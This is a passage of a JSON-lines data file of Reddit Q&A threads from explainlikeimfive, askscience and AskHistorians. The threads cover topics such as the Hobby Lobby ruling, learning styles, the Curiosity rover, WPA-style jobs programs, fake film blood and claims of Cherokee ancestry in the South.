["https://youtu.be/0yY34uWty_0"], ["https://www.sciencedirect.com/science/article/pii/S027311771830406X"]]}
{"q_id": "29f1v6", "title": "how can a corporation claim a religious objection, when a corporation is just a paperwork entity?", "selftext": "What I mean to ask is, in the Hobby Lobby case, isn't there a difference between the law requiring the owners themselves to pay for someone's health insurance that covers contraception, and the company the owners own being required to offer that insurance?  I know corporations have limited personhood, but that includes taking on the religious beliefs of their owners?  Or am I totally confused here?  [serious answers about the law only here, please do not express your thoughts on politics and such.]", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/29f1v6/eli5_how_can_a_corporation_claim_a_religious/", "answers": {"a_id": ["cikbmxr", "cikcqtm", "cikeqgl", "cikifgr"], "score": [5, 13, 2, 3], "text": ["Viewed from the other direction.\n\n\nif a corporation is just a contract between people about how to operate, why do they lose the right to invoke their religious beliefs", "The issue in question is more nuanced than most people are painting it.  The courts have previously held that the 1st ammendment does not mean that you can claim that a law of general applicability (as in one that doesn't discriminate against a particular religion) does not apply to you because of your freedom of religion.  The relevant case was a native american who tried to claim that his religious freedom should allow him to continue using Peyote (a controlled narcotic substance) in his religious rituals, and the courts said the law was not a violation of his religious freedom.  In response, congress passed the [religious freedom restoration act](_URL_1_) (RFRA), that allows US persons to claim an exemption from laws of general applicability based on sincerly held religious beliefs.\n\nThe phrase \"persons\" in our legal code has referred to both individuals and corporations for some time.  The concept of \"corporate personhood\" is a legal fiction that allows for corporations to be treated like people in court cases.  For example, it allows a corporation to be named as a defendant and sued, rather than individual employees. Additionally, corporate persons are generally afforded the same rights as the persons who make up that corporation.  For example, you have a right to not have your property searched without a warrant under the 4th ammendment, if multiple people combine their property in a corporation, they still have that right. Since [at least 1978](_URL_0_), SCOTUS has held that corporate persons also have 1st ammendment protections (speech) when it comes to political contributions.\n\nThe government can still overturn a RFRA exemption if they can prove that the law is required to fulfill a compelling government interest (like preventing human sacrifices, for example) and the law is the least restrictive manner to fulfill that interest.  In the Hobby Lobby case, this argument seems unlikely to fly, as the justices pointed out during oral arguments that just having the government provide the services directly would be less restrictive.\n\nThe question then becomes, can a corporation have a religion?  I suspect that the answer is no (courts have previously ruled that a corporation cannot have a race, for example), but it is still possible that the owner can claim a RFRA exemption, based on their religious beliefs, sidestepping the issue of corporate personhood altogether.", "Then the other side of this should also be true.  If a corporation is guilty of a crime then all people who have been convicted of the crime should be jailed/executed.  The sword should cut both ways. ", "Without people, the concept of a corporation is meaningless.  And no matter what, people have Constitutional rights.  The fact that people group together and call themselves a corporation isn't a loophole that allows government to come in and force people to do things they otherwise couldn't."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/First_National_Bank_of_Boston_v._Bellotti", "http://en.wikipedia.org/wiki/Religious_Freedom_Restoration_Act"], [], []]}
{"q_id": "1no7n5", "title": "Do the concept of learning styles and the labels 'right brained' and 'left brained' have scientific validity?", "selftext": "Hey guys. So I've been coming across a variety of scientific research, pop science articles, professors and students, all with different opinions on the validity of the subjects mentioned in the title. Is there any truth and evidence to show that certain activities in the brain are exclusive to 'sides'  like left and right? Are all people genetically programmed to be predominantly left or right brained? Also, does modern science have a consensus on whether evaluating learning styles and teaching each student a different way actually produces more favorable results? For example, giving two students a test, determining that one is a visual learner and the other is a kinesthetic learner and then proceeding to use visual aids and movement oriented learning respectively. Thanks in advance!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1no7n5/do_the_concept_of_learning_styles_and_the_labels/", "answers": {"a_id": ["cckql6r", "cckw1uj"], "score": [9, 4], "text": ["As far as learning styles are concerned there is a lack of scientific evidence that it is true, however people have preferred learning styles which they may perceive as the only way they learn. If learning styles were true then students would be identified for their strongest method of learning and then give then lessons would be presented specifically to match their learning style. The evidence supporting learning styles typically fail psychometric tests and the research is often 'incestuous' and has commercial benefits of their positive findings.\n\nArticle on the subject: _URL_1_\n\nHowever, that said, your presentation of information does have a significant impact on how easily it is processed by learners. This comes under the heading of 'Cognitive load theory'. Typically it is better to not overload students working memories, having the prerequisite knowledge to comprehend the lesson and presenting it through practicals, group work or individually depending on the task and its aims.\n\nPaper on Cognitive load theory:\n_URL_0_", "In addition to other response, I would like to elaborate on the right vs left sided brain. The entire concept of \"lateralization\", i.e. one side of brain is better for a given task than the other, is actually true, but no where nearly as depicted by pop science. The brain is functionally divided into areas, but this is mostly symmetrical except for language (usually left) and spatial orientation (usually right).\n\nWhile there is considerable individual variation, we still maintain an overall similar brain area/function. Being \"left brained\" doesn't really scientifically mean anything. Language area (speaking and understanding) is one of the few functions that is known to be in dominant side (for ~90% of us, this is left hemisphere). But that has nothing to do with the way we learn, process information, or understand things.\n\nSo language areas aside, there is little differences between the hemispheres. Our learning centres in the brain is spread in different locations all over the brain (e.g. cognitive analysis is in frontal lobe; mathematical analysis is in angular gyrus). These tasks are shared in both hemispheres."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.usc-dr-edens.org/uploads/7/2/5/3/7253252/cognitive_load_theory_sweller.pdf", "http://www.sciencedaily.com/releases/2009/12/091216162356.htm"], []]}
{"q_id": "1pi5qz", "title": "A Patriot's history of the United States?", "selftext": "I'm looking for a good book (or two) on US history.  There doesn't seem to be a good general text that everyone recommends based on my googling.  Is it safe to assume that if I read A People's History of the United States and A Patriot's History of the United States that I would have a decent, well-rounded overview of US history?  If not, what would you recommend reading in order to get a solid overview?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1pi5qz/a_patriots_history_of_the_united_states/", "answers": {"a_id": ["cd2jy57"], "score": [3], "text": ["Howard Zinn [has been widely discussed here](_URL_0_).\n\nReading two very biased books with opposite viewpoints is a good way to study how different present-day ideological groups can use history to justify their views, but isn't a really good way to get a \"well-rounded\" view of history.  \n\nYou probably can't go wrong if you stick to something like the [Oxford History of the United States](_URL_1_) series.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/us_history#wiki_historians.27_views_of_howard_zinn.27s_.22a_people.27s_history_of_the_united_states.22", "http://en.wikipedia.org/wiki/Oxford_History_of_the_United_States"]]}
{"q_id": "yz3s6", "title": "Why did they put speakers on the Mars Curiosity? Surely not just for _URL_0_?", "selftext": "I imagine the extra weight and setup would have cost a few bob. Do they have some scientific purpose?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/yz3s6/why_did_they_put_speakers_on_the_mars_curiosity/", "answers": {"a_id": ["c602t8o", "c607373", "c608s0h"], "score": [127, 22, 5], "text": ["I don't think Curiosity has any speakers - it's just going to stream the audio back to Earth.\n\n_URL_0_\n\nA lot of news sources are saying it will be played through speakers but it might have just been a misunderstanding that was propagated.", "I just can't understand why is not carrying any microphones. ", "Now I'm wondering if Curiosity needs the equivalent of an FCC license for a high power radio transmitter. "]}, "title_urls": ["will.i.am"], "selftext_urls": [], "answers_urls": [["http://www.space.com/17320-mars-rover-will-i-am-song-broadcast.html"], [], []]}
{"q_id": "1zeiy9", "title": "When a newborn is flailing its limbs and moving around, is it consciously moving them or is it some sort of automatic function of a new human being?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1zeiy9/when_a_newborn_is_flailing_its_limbs_and_moving/", "answers": {"a_id": ["cftd02p", "cftf9e2"], "score": [2, 2], "text": ["It sounds like you're asking about some of the [primitive reflexes](_URL_1_). While they occur when an infant is conscious, they're involuntary. \n\nThese reflexes disappear with age. They're understood to be inhibited as the brain develops (specifically the frontal lobe). Adults with disorders that affect the frontal lobes may exhibit primitive reflexes called [frontal release signs](_URL_0_).", "Here is something every new parent should lookout for as it is so neat.\n\nAt around 3 or 4 months of age a newborn will discover that it has conscious control of its arms and can make them move at will. To do this it will lie on its back and stare at the arm while moving it around. \n\nIt is a fascinating process to watch happening."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Frontal_release_signs", "http://en.wikipedia.org/wiki/Primitive_reflexes"], []]}
{"q_id": "3vm457", "title": "in most of the recreations  &  illustrations I could find Xia and Shang chinese are depicted wearing the same sort of Kimono like Robes chinese aristocrats were wearing right up until the end of the empire. is that accurate? if \"yes\" why was chinese fashion so consistent over such a long time period?", "selftext": "the west went from togas to business suits in less than half the time", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3vm457/in_most_of_the_recreations_illustrations_i_could/", "answers": {"a_id": ["cxoun2h"], "score": [3], "text": ["OK, let's reset this post. This time, without arguments over the usefulness of Wikipedia as an academic resource or the veracity of semi-mythical emperors. \n\nAnd for the record, here is the [AskHistorians rule regarding Wikipedia](_URL_1_):\n\n >  Sources are highly encouraged in all answers given in r/AskHistorians. A good answer will be supported by relevant and reliable sources. Primary sources are good. Secondary sources are also acceptable.\n\n >  However, tertiary sources such as Wikipedia are not as good. They are often useful for checking dates and facts, but not as good for interpretation and analysis. Furthermore, Wikipedia articles are open to random vandalism and can contain factual errors; therefore, please double-check anything you cite from Wikipedia. [As outlined here](_URL_0_), Wikipedia, or any other single tertiary resource, used by itself not a suitable basis for a comment in this subreddit. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1jsabs/what_it_means_to_post_a_good_answer_in/cbhsgqx", "https://www.reddit.com/r/AskHistorians/wiki/rules"]]}
{"q_id": "6n3239", "title": "eli5: some people believe that we are currently living in a \"late stage\" capitalist society. what does it mean to be in the late stage of capitalism?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6n3239/eli5eli5_some_people_believe_that_we_are/", "answers": {"a_id": ["dk6dcaf", "dk6dn1h", "dk6emsj"], "score": [107, 11, 4], "text": ["Capitalism is supposed to benefit everyone, consumers and producers. Consumers get quality product through competition and availability. Producers get wealth through providing the best product at reasonable prices.  \nThe problem with capitalism, especially deregulated capitalism, is human greed. Throw enough money at beating your competition (advertisements, smear campaigns, hostile take-overs, non-compete markets, etc.) and monopolies are bound to arise. When companies grow so large that they dominate through sheer overwhelming numbers (think Walmart vs Mom  &  Pop), they tip the balance of consumer and producer towards the producers. When the giant companies have such leverage over pricing, wages, logistics, location, and product quality, they will inevitably exploit it for further profits.  \nThe purpose of producers is no longer to produce products for success through quality. It is now to provide profits for shareholders. The consumer is no longer part of the equation.  \nWe live in a mostly-post-scarcity environment.  Products are now readily available. In America, at least, it's not difficult to walk down the street and buy a loaf of bread, some meat and cheese, and go home to feed your family. This is a positive end-goal of capitalism. \"Late stage\" capitalism, however, is what is happening on the consumer side of the consumer/producer equation. Producers have their end-game, they are making their profits and all is right in their world. Consumers, however, are **struggling to be able to buy from producers**. Wages have stagnated for decades. Education is both losing the value it once had AND becoming more expensive to attain. This is causing a problem of a lack of a skilled workforce AND a workforce incapable of readily buying the products they produce **for the producers**.  \n/r/LateStageCapitalism can and does get extreme, but the entire purpose of the sub is to show the ridiculous point we are at in a capitalist society. People are literally starving in the streets while corporate executives have **multiple** yachts. Poor people are derided as lazy and moochers while lobbyists are convincing the government capital gains shouldn't be taxed as much. A high school graduate shoveling coal used to be able to buy a house; now, software engineers are sharing apartments.   \nIt is currently easier to turn $1mil into $10mil on the stock market without ever producing a single product, than it is to create a product that will sell enough to earn you $1mil. There is nothing left on the consumer/producer equation. When a corporation can sell you completely defective products and services (phones that explode, airlines giving seated passengers concussions, pharmaceutical companies selling highly addictive opioids, oil that comes from sponsors of state terrorism, cars that don't pass emissions tests, Big Box stores that pay their employees so little that they require food stamps *and then accept federal assistance from those food stamps*) and *those corporations don't go out of business*, the consumer/producer balance has failed. This is late stage capitalism.", "Both historically and contwmporarily it is used to refer to what is believed among socialists (of various stripes) to be the last legs of capitalism.\n\nBasic Marxist theory in the simplest nutshell: every economic system creates the conditions for its own collapse through the failings of that system. Feudalism (with its need for massive labor and focus on agrarian development) could not respond to increased trade and rising populations, so the merchant class overthrew them leading to capitalism. Capitalism is (according to Marx) unsustainable due to its inherent exploitation of the proletariat, and its exploitation will eventually lead to its economic collapse and the creation of a socialist state.\n\nSo, people who believe in \"late-stage\" capitalism are basically saying \"we're in the part right before capitalism collapses.\"", "According to the people who believe that (and indeed other people who don't), economic and sociopolitical systems are not stable.\n\nAny system has strengths and weaknesses, and the weaknesses can often build up over time and create vicious circles that make things worsen increasingly, etc.  And even though humans can be self-aware of those flaws and try and adjust / correct / \"let off steam\" we have yet to master doing so and create the perfect system.\n\nAnd even if we could claim to have developed an absolutely ideal system, for today's world, today's economy and society... shit changes.  Someone invents something, or discovers something, and something which used to be difficult is now easy, impossible is now possible, expensive is now cheap, etc.  And the whole system gets shaken up again.\n\nSometimes, perhaps a system is so inherently flawed or inadequate for a given set of circumstances (population levels, resources available, technology level etc) that it is inevitably going to collapse and a more fitting system will replace it.\n\nThis idea isn't inherently Marxist, it goes back way before that.  In fact most die-hard supporters of capitalism would happily champion this theory, to say that a barter economy would inevitably develop money at a certain point of complexity, or that a soviet style command economy would 'inevitably' collapse into a market economy, a black market if necessary, because it's too ineffecient.\n\nHowever Marx's exposition of this idea with capitalism as the 'inevitably doomed' system is surely the most influential.  \"ELI5: Marx\" is another thread, but he basically said that capitalism would eat itself.  And even though his (and his successors') prediction of what would happen next (utopian communism, yay) turned out....not so well, a lot of people still believe (modified) versions of the theory that capitalism will eat itself.\n\nMeantime you have the rise of AI, nanotech, biotech, etc leading to the prospect of a radically different world.  Even people who think the idea capitalism will 'inevitably' destroy itself due to some 'inherent' weakness is ridiculous, might think that a post-scarcity world (think replicators) where human labour is obsolete but everyone lives 300 years (etc, etc), is so radically different that the economic system will be radically different.  \n\nSo basically, due to a range of different rationales, some people think capitalism (as we know it) will soon 'die' and be replaced.  To say we are currently in the late stage is to say that 'death' is near, and the signs of its approach are increasingly visible."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1x9uql", "title": "why is it so hard for someone to kill a tyrant/dictator/etc from within their own government?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1x9uql/eli5_why_is_it_so_hard_for_someone_to_kill_a/", "answers": {"a_id": ["cf9dz6w", "cf9e26q"], "score": [2, 2], "text": ["all of the above. there have been attempts on hitler from within his own ranks as well. most famous of which is the 20th of july plot, there's a tom cruise film based on it, Valkyrie. thing is, if everyone there has a gun, and you pull yours out, you'll probably be full of holes before you shoot once. let alone twice. should you be able to actually shoot him, you'd definitely be dead seconds later. it's a lot more secure to have a group of people do it. \n\nthe main thing is though, after he's been killed, there should be a new government ready to take over. there has to be a political system ready to step in straight away. if not, all you'll be doing is replacing the tyrant with the tyrant's second in command. things wouldn't significantly change, they'd probably even get more aggressive. since the second in command tends to share all the same views, and he'll be bitter. ", "Why doesn't a dictator commit suicide? Because they're enjoying their position. Those in the higher echelons of a dictators society are generally doing very well for themselves also. \n\nIt's also pretty much impossible that someone would survive long even if they managed to kill a dictator. Loyal guards and all that are still around. \n\nAlso dictators tend to have people that genuinely believe in the leader often enough. If you asked Hitler or Pol Pot they'd describe their actions as necessary or beneficial. Same thing goes for many others in their little parties. \n\nThere was a time when it was considered insulting to give someone mercy. There was a time when it was acceptable to murder someone's son in retribution for something the father did. Morality is a lot more fluid than you might think."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5slgu1", "title": "Were African slaves generally permitted to interact with Indians in places like early colonial Virginia? How did people like the Powhatan view Africans in comparison to the English?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5slgu1/were_african_slaves_generally_permitted_to/", "answers": {"a_id": ["ddg502u", "ddg6p5h"], "score": [131, 489], "text": ["Follow-up question: Did the native American peoples that interacted with the first European settlers have chattel slavery? If so, in what ways was it similar or dissimilar to the institution that the Europeans brought with them? Would a native American witnessing an interaction between an African slave and a white slave owner understand the dynamic?", "Just for clarity, what time periods are you inquiring about? The answer for the 1650s is very different than the answer for the 1760s"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3g48pp", "title": "why can't the government create a program similar to the wpa during the great depression to provide thousands of jobs while getting long-needed construction projects done?", "selftext": "EDIT: thank you for all of your comments. A lot of you had fantastic explanations. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3g48pp/eli5why_cant_the_government_create_a_program/", "answers": {"a_id": ["ctuocj7", "ctup9l4", "ctuqux0", "ctusxfr", "ctuwufu", "ctuxhuh", "ctuz0ie", "ctv06az", "ctv1gkl", "ctvbdc0", "ctvr2rj"], "score": [220, 36, 28, 80, 6, 3, 2, 3, 8, 2, 2], "text": ["We totally could!  It would just require raising taxes (to pay for all those salaries) and increasing the size of government (adding all those new government jobs).  Those are both toxic political ideas right now.", "Because construction has changed to be a lot less labor intensive in 80 years. In the '30s, there were lots of jobs for unskilled laborers, now it's a few trained guys running machines.", "We did. It was called the American Recovery and Reinvestment Act of 2009, it was way too small, and even so it was a huge success in jumpstaring the economy after the 2008 crash. ", "Something else to consider is that the WPA jobs were not in any way meeting the safety standards of today. Numerous workers died participating in the program, it paid almost no money (certainly not a \"living wage\") and relied on the need to build massive quantities of infrastructure with unskilled labor, which is no longer really possible.\n\n People were desperate during the depression because if they didn't work, they would die of starvation, that just isn't the case any more. Your life might suck in comparison to the average American, but the government will keep you alive.", "No politician wants to be the one to say they'll increase taxes to pay for it.\n\nExcept...\n\nI know Bernie Sanders already appears on almost every political thread but he has in fact made a huge infrastructure repair program a part of his campaign. It is costly, which I think is the reason it's politically unfavourable right now, but it would provide millions of well-paid jobs. I can't think of any other candidate running for president who has called for such a thing. \n\n_URL_0_", "(1) Very expensive.  Already have $13T in debt.\n(2) There really aren't a lot of \"Shovel-Ready\" projects out there.  If you said today \"We want to spend $20B on WPA-type projects,\" you would put a few people to work immediately figuring out what those projects should be, then a few more people (largely engineers and architects) figuring out how they should be designed and, finally, a year or two later, people working to build those projects.\n\n(3) But, the skills needed to build those projects probably don't really match up well with the skills available in the job markets.\n\nIn the '30s, there were LOTS more people unemployed (and skills were not as specialized as today), so (3) wasn't really an issue.  Nobody cared about (1).  And, on (2), the depression lasted long enough that it wasn't an issue.", "You mean...America Works?", "I am a little late to the show but I think it is important to realize that most people would not be willing to do the kind of work or live in the kind of conditions that WPA workers did in the 1930's. Another problem would be pay. Sources I kind find say the average salary was around 40 dollars a month. This would translate to around 600 dollars a month in current dollars. Even considering the value of the housing and basic medical care provided these would be extremely substandard wages.  TLDR from an idiots perspective it doesn't seems likely that we could reproduce the exploits of the WPA", "I think it's funny when people want the government to supply jobs for everyone. Don't they realize that the government sucks at doing anything efficiently? How many departments of paper pushers would they need to create to manage all this shit? It's like the federal government is staffed by Vogons.", "Because shitbag Republicans want to keep all the money for their super rich campaign donors, and don't care if poor folks lives suck and our roads and bridges fall apart.", "In addition to what's been said already, imagine a politician trying to call for this in the modern day. How many milliseconds would it take for them to be drowned in a sea of \"SOCIALIST! SOCIALIST!\"?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.sanders.senate.gov/newsroom/press-releases/sanders-introduces-bill-to-rebuild-americas-crumbling-infrastructure-support-13-million-jobs"], [], [], [], [], [], []]}
{"q_id": "8rl462", "title": "in older 60-70s films showing fake blood, why was the colour portrayed so bright and inaccurate?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8rl462/eli5_in_older_6070s_films_showing_fake_blood_why/", "answers": {"a_id": ["e0s60gu", "e0s6jm7", "e0s7lr9", "e0sfw9k"], "score": [4, 7, 2, 10], "text": ["Blood, or colours in general,  looks different in person than it does on camera/film. Stage magicians have to deal with this all the time. Back then, they likely didn't have the means of making realistic looking blood on film.", "Its relative to a number of things. \n\n\nFilm editing \n\n\nColor \n\n\nLighting \n\n\nAnd style. \n\n\n\nNamely, lighting a film and translating it to analog film to be displayed is not very straightforward. Often times a prop will be a stark variant of the intended color for the end product. This is because after editing and translating it to the final film product it will appear as a different color. \n\n\nIn addition, films go through color grading. When a film is shot outside, subtle changes will occur with lighting due to how the sun appears in different times a day. One single scene that's designed to capture 1 minute of film time may take hours of real time. \n\n\nColor grading is designed to make the lighting seen more uniform. This causes colors to appear different. With digital filming, colorgrading can appear more subtle and be individualized for each item on screen \n\n\nLastly, style. Blood is theatrical. Its dramatic. It's meant to be visceral and noticeable. ", "They were using an older version of chemical film, which made red come out stronger that it looked in person.", "What you're seeing is what filmmakers call \"Kensington Gore\", which originated in the Hammer Horror films of the 60s. It was originally formulated by retired pharmacist John Tynegate. It's made from golden syrup, water, corn starch, and a mix of red, yellow, and blue food colouring. The cheaper film used in these low budget horror movies of the time exaggerated the red colouring. This formula was also used in The Shining's infamous elevator scene.\n\nIn the late 70s, Dick Smith, a makeup artist, created the modern blood formula still used today. It's essentially the same formula as Kensington Gore, but uses Lake Pigments or food colouring mixed with zinc oxide or non-dairy creamer. It also uses either Kodak Photo Flo, lecithin, or non-bleach detergent to break the surface tension so it spreads more evenly.\n\nBlack and white films used to use chocolate syrup. Hitchcock used this most notably in Psycho. It showed up better, and looked more realistic, in monochrome than the red stuff did. Fake blood has historically been food based as it's non-toxic for the actors.   \n\nI recommend checking out [Filmmaker IQ's](_URL_0_) video on the history of fake blood in cinema. \n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.youtube.com/watch?v=izNg7s3vQOE"]]}
{"q_id": "3bapwq", "title": "AskScience AMA Series: I am Funkentelechy and I study the taxonomy of insects. Ask Me Anything!", "selftext": "I have studied systematics/taxonomy for awhile now - ever since undergrad - and have had the opportunity to work with several insect groups, including fireflies, tiger moths, and now fire ants. Taxonomy is such a fascinating field, I feel, because it is a puzzle you can solve from so many different angles; the answer is always right in front of you, but oftentimes you have to change your perspective to see it. From there, of course, you can move into a myriad of other interesting fields, such as phylogenetics and genomics.\n  \nAs for my current research, I'm conducting a species delimitation of the native North American fire ants (Solenopsis). Their taxonomy has always been a contentious issue (some have gone so far as to call it the \"myrmecologist's cross to bear\"). However, these previous delimitation studies were conducted primarily on the basis of morphology, which is highly variable across even well-known species in the genus. Hence, I am employing an integrated approach to taxonomy, one that utilizes multiple lines of evidence (e.g., morphological, molecular, ecological, etc.) to test species boundaries. Preliminary results indicate two nominal species should be lumped together, while another should be split into two forms.\n\nI'll probably be on all afternoon (EDT, so starting around 16-17 UTC) to answer questions.\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3bapwq/askscience_ama_series_i_am_funkentelechy_and_i/", "answers": {"a_id": ["cskgekh", "cskh0y5", "cskh4r1", "cskj7nd", "cskjcqi", "cskkp1d", "csklb9u", "cskm27k", "cskqfq5", "cskujkv", "cskur7w", "cskw945", "cskxxwo"], "score": [2, 7, 5, 2, 2, 5, 3, 4, 3, 3, 3, 3, 2], "text": ["What Maths did you have to take while studying this subject? \n\nSorry that this doesn't have a lot to do with the topic, I'm just curious.", "Are there any specimens in particular that cause a particular deal of confusion to classify? And what specimens do you think are most commonly confused by the layperson?", "What kind of tools do you use (both technology and non-technology based)?", "Hey, simple question: Why insects? (over another kind of organism?)", "You may be just the person I've been waiting for.     \n    \nI'm wondering what's the latest research and more importantly is there any consensus on the Argentine ant super-colonies. Years ago, you'll of course know, they were reported to form super-colonies where introduced because of a genetic similarity to do with a founder effect. But there was some subsequent research that found they were not as genetically similar as was thought by the original researchers. And if I remember correctly there was some report that they will also merge colonies in their native range where, presumably, the genetic diversity is the highest.     \n     \nI've been wondering for a while if this has been settled but haven't gotten around to looking into it yet. Any ideas on this one?", "Is it true that insects and spiders are getting bigger in urban areas? ", "Is there a current consensus on the relationship between *Insecta* and *Onychophora*, and if so what is the reasoning behind it?", "What is your favorite insect, and why is it a mosquito? \n\nBut seriously, do you have a favorite group that you have worked with?", "Can you explain the reasoning of making entognatha separate from ectognatha within Hexapoda? What morphological features beckoned this reclassification? ", "How genetically similar / different is one ant from another? ", "Do any other insects produce honey-like substances like honeybees, even if it's only in tiny amounts?", "Let's say we find an insect or to be more general, some type of arthropod in our home, and we want to have it identified. What's the best way to go about this?\n\nIt's simple to find an exterminator, but not so much an entomologist. Are there ways to find some locally and ask them to identify specimens, or are there resources online so that we could do it ourselves?\n\n ", "Hey, i`m typing this on my phone so i hope i can minimize the ammount of typos. Anyways i have been interested in taxonomy for quite a while and i`ve Womdered where i should start. Should i pick a species/family to learn their specific properties or just try to learn whatever animal i'm interested in at the moment. Best regards"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "96iouy", "title": "The common claim in the American South of having \"Cherokee blood\" in one's family is apparently often a euphemism for having a distant black ancestor. This would seem to suggest that Southerners historically had a much better opinion of Native Americans than blacks. Why would this be the case?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/96iouy/the_common_claim_in_the_american_south_of_having/", "answers": {"a_id": ["e41aty3"], "score": [330], "text": ["The basic answer is because of Cherokees having free instead of enslaved status and the rising trend in the 19th century to view Indians with some romanticism, even limited admiration. But yes, most white folks claiming native ancestry are misguided... Especially after removal, the tendency was to perceive Indians as the \u201cnoble savage\u201d of a bygone era; no longer a tangible hated enemy but an mythic, tragic figure. The Cherokee in particular had been bitter enemies during the Anglo-Cherokee War and American Revolution, then gaining some respect (but not enough compassion or protection from the government) through their US service in the Creek War. Yet real Indians who remained in the Southeast had somewhat of an anomalous legal status (sort of in limbo in the perceived racial hierarchy below whites but above blacks)\u2014 being regarded as \u201cfree people of color\u201d, most would have resented this classification, urging tribal \u201cblood\u201d and kinship ties over skin color. The terminology of blood, however, served to disfranchise and stigmatize people with native ancestry. Land ownership was sometimes possible but voting was pretty much out of the question. Furthermore, black slavery had fundamentally transformed Cherokee society, as a vector for increased acculturation and even emulation of the white planter class (see the example of James Vann, who owned a vast plantation and many slaves). The \u201cone drop rule\u201d applied to African ancestry was different than those with comparable native ancestry, allowing for more flexibility and social mobility (see the McGillivray clan of Scots-Creek ancestry). \n\nHistorian Christina Snyder has suggested that the persistent myth of whites thinking they have native ancestry may originate with people of native backgrounds being adopted into white families, often living in quasi-servitude and not actually \u201cmixing\u201d with the bloodline (She points to the example of Lyncoya, Andrew Jackson\u2019s adopted Creek son). She points to a study where something like 40% of modern southerners claimed Indian ancestry while only 20% claimed Confederate ancestry. Thus, family stories handed down lost their concrete facts and became more vague or more embellished. At some point, it became somewhat fashionable to claim a \u201cCherokee princess\u201d grandmother, perhaps to mitigate \u201cwhite guilt\u201d of colonization, or perhaps to suggest a male ancestor\u2019s sexual conquest. \n\nIt\u2019s worth noting, however, that there was more mixing and intermarriage between whites (especially traders) and Indians in the 19th century than most think, especially in western North Carolina where the Eastern Cherokee remained after Removal. Often this was white men taking Cherokee wives, but even in the 19th century some Cherokee men took white wives (Nimrod Jarrett Smith, for example, a sergeant in Confederate service and postwar chief of the Eastern Band). In the 19th century, western North Carolinians had a positive impression of the Eastern Cherokee, petitioning on their behalf, acknowledging their temperance, acculturation, Christianity and industriousness to prevent subsequent removal attempts. The vast majority of the Eastern Cherokee served North Carolina during the Civil War, further improving their local reputation.\n\nAlso, the Appalachian \u201cMelungeon\u201d people with fair complexion stressed a tri-racial ancestry to avoid being classified as \u201cmulatto\u201d. On the flip side, some people regarded as \u201cfree blacks\u201d were actually people of mixed ancestry but descending from the Tuscarora/Lumbee and Chowan peoples in eastern North Carolina. They had to continuously fight for distinction as actual Indians rather than vaguely \u201cfree POC,\u201d and though this afforded them few privileges, it was hoped they\u2019d be more accepted or trusted to be left alone by white society.\n\nThis coming from a Southern whiter-than-sour-cream guy who studies Eastern Cherokee ethnohistory, who has never claimed native ancestry and hasn\u2019t heard any such family stories. Yet took a recent DNA test which pointed to small percentage of SE Asian and Subsaharan African DNA, as well as some \u201cunidentified\u201d. There was far more \u201cmixing\u201d, especially in the colonial era, than most white folks realize (or want to admit).\n\nFor further reading:\n\n\u201cMixed Blood\u201d Indians: Racial Construction in the Early South by Theda Perdue\n\nSlavery and the Transformation of Cherokee Society by Theda Perdue\n\nThe Eastern Band of Cherokee Indians by John Finger\n\n\u201cAndrew Jackson\u2019s Indian Son\u201d by Christina Snyder, in Native South by Greg O\u2019Brien and Tim Alan Garrison, eds. \n\n\u201cFrom Indians to Colored People: The Problem of Racial Classification and the Persistence of the Chowans in North Carolina\u201d by Warren Milteer\n\nEdit: added an article and a sentence. Does someone have good sources regarding Melungeon identity?\n\nI also should have mentioned that some Lumbee and others were erroneously referred to as \u201cCherokee\u201d during the 19th century. Though all \u201ctribes\u201d were amalgams and coalescent societies to an extent, they were separate groups. So while a larger number of people may have native ancestry, not all of those who claim Cherokee \u201cblood\u201d are actually of Cherokee descent.\n\nAlso, to be clear, we\u2019re talking mostly about the 19th century here. Some Cherokee and people of other tribes were enslaved in the 17th and 18th centuries\u2014 so their status as \u201cfree\u201d wasn\u2019t a given until the predominance of black slavery (late 18th- early 19th century).\n\nAlso, check out this [Slate article](_URL_0_) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.slate.com/articles/news_and_politics/history/2015/10/cherokee_blood_why_do_so_many_americans_believe_they_have_cherokee_ancestry.html"]]}
